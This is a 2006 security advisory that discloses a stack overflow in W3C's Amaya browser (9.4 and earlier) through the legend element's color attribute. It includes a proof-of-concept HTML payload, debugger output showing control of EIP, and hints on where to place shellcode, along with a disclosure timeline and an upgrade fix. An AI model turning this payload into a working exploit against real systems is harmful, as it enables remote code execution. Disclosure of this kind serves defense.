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| BuHa Security-Advisory #11 | Apr 12th, 2006 |

| Vendor | W3C's Amaya |
| URL | http://www.w3.org/Amaya/ |
| Version | <= 9.4 |
| Risk | Critical (Remote Code Execution) |

o Description:

The current releases, Amaya 9.5, is available for Linux, Windows and
now MacOS X (see screenshot). It supports HTML 4.01, XHTML 1.0, XHTML
Basic, XHTML 1.1, HTTP 1.1, MathML 2.0, many CSS 2 features, and
includes SVG support (transformation, transparency, and SMIL animation).

See the "Amaya Overview" page [1] for more details.

o Stack overflow:

The following code snippet forces Amaya 9.4 to crash:
> <legend color="Ax200">

> eax=41414141 ebx=02ae7200 ecx=41414141 edx=41414141 esi=00000000
> edi=00000000 eip=00516135 esp=0012e1cc ebp=007dd6e8 iopl=0
> cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010206
>
> 00516114 56 push esi
> 00516115 57 push edi
> 00516116 33ff xor edi,edi
> 00516118 33f6 xor esi,esi
> 0051611a 3bcf cmp ecx,edi
> 0051611c 893d943df101 mov [amaya+0x1b13d94
> (01f13d94)],edi
> 00516122 7511 jnz amaya+0x116135 (00516135)
> 00516124 6a0a push 0xa
> 00516126 e825d80500 call amaya+0x173950 (00573950)
> 0051612b 83c404 add esp,0x4
> 0051612e 8bd7 mov edx,edi
> 00516130 8bc6 mov eax,esi
> 00516132 5f pop edi
> 00516133 5e pop esi
> 00516134 c3 ret
> FAULT ->00516135 8b4134 mov eax,[ecx+0x34]
> ds:0023:41414175=???
> 00516138 3bc7 cmp eax,edi
> 0051613a 74f2 jz amaya+0x11612e (0051612e)
> 0051613c 8b4938 mov ecx,[ecx+0x38]
> 0051613f 5f pop edi
> 00516140 8bd1 mov edx,ecx
> 00516142 5e pop esi
> 00516143 c3 ret
> Nopslide…

We are able to control the EIP:
> <legend color=
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAABBBB>

> eax=0ade6e01 ebx=0ac7da00 ecx=0ade6e28 edx=1bce0002 esi=007de85a
> edi=01aeb154 eip=42424242 esp=0012e79c ebp=007da170 iopl=0
> cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
>
> Funktion: <nosymbols>
> No prior disassembly possible
> 42424242 ?? ???
> 42424244 ?? ???
> 42424246 ?? ???
> 42424248 ?? ???
> 4242424a ?? ???
> 4242424c ?? ???

Online-demo:
http://morph3us.org/security/pen-testing/amaya/amaya-94-legend-color.html

In fact, sucessful exploitation of this vulnerability is not that easy
because non-text characters were modfified during parsing therefore you
have to find a place where to place the shellcode. Naturally you have
to avoid null bytes too because Amaya would stop parsing the attribute
value and the overflow would not get triggered.

o Disclosure Timeline:

21 Dec 05 - Vulnerability discovered.
21 Feb 06 - Vendor contacted.
23 Feb 06 - Vendor confirmed vulnerability.
08 Mar 06 - Vendor fixed vulnerability.
12 Apr 06 - Public release.

o Solution:

Upgrade to the latest version of Amaya. [2]

o Credits:

Thomas Waldegger <[email protected]>
BuHa-Security Community - http://buha.info/board/

If you have questions, suggestions or criticism about the advisory feel
free to send me a mail. The address '[email protected]' is more a
spam address than a regular mail address therefore it's possible that
some mails get ignored. Please use the contact details at
http://morph3us.org/ to contact me.

Greets fly out to cyrus-tc, destructor, nait, rhy, trappy and all
members of BuHa.

Advisory online:
http://morph3us.org/advisories/20060412-amaya-94-2.txt

[1] http://www.w3.org/Amaya/Amaya.html
[2] http://www.w3.org/Amaya/User/BinDist.html

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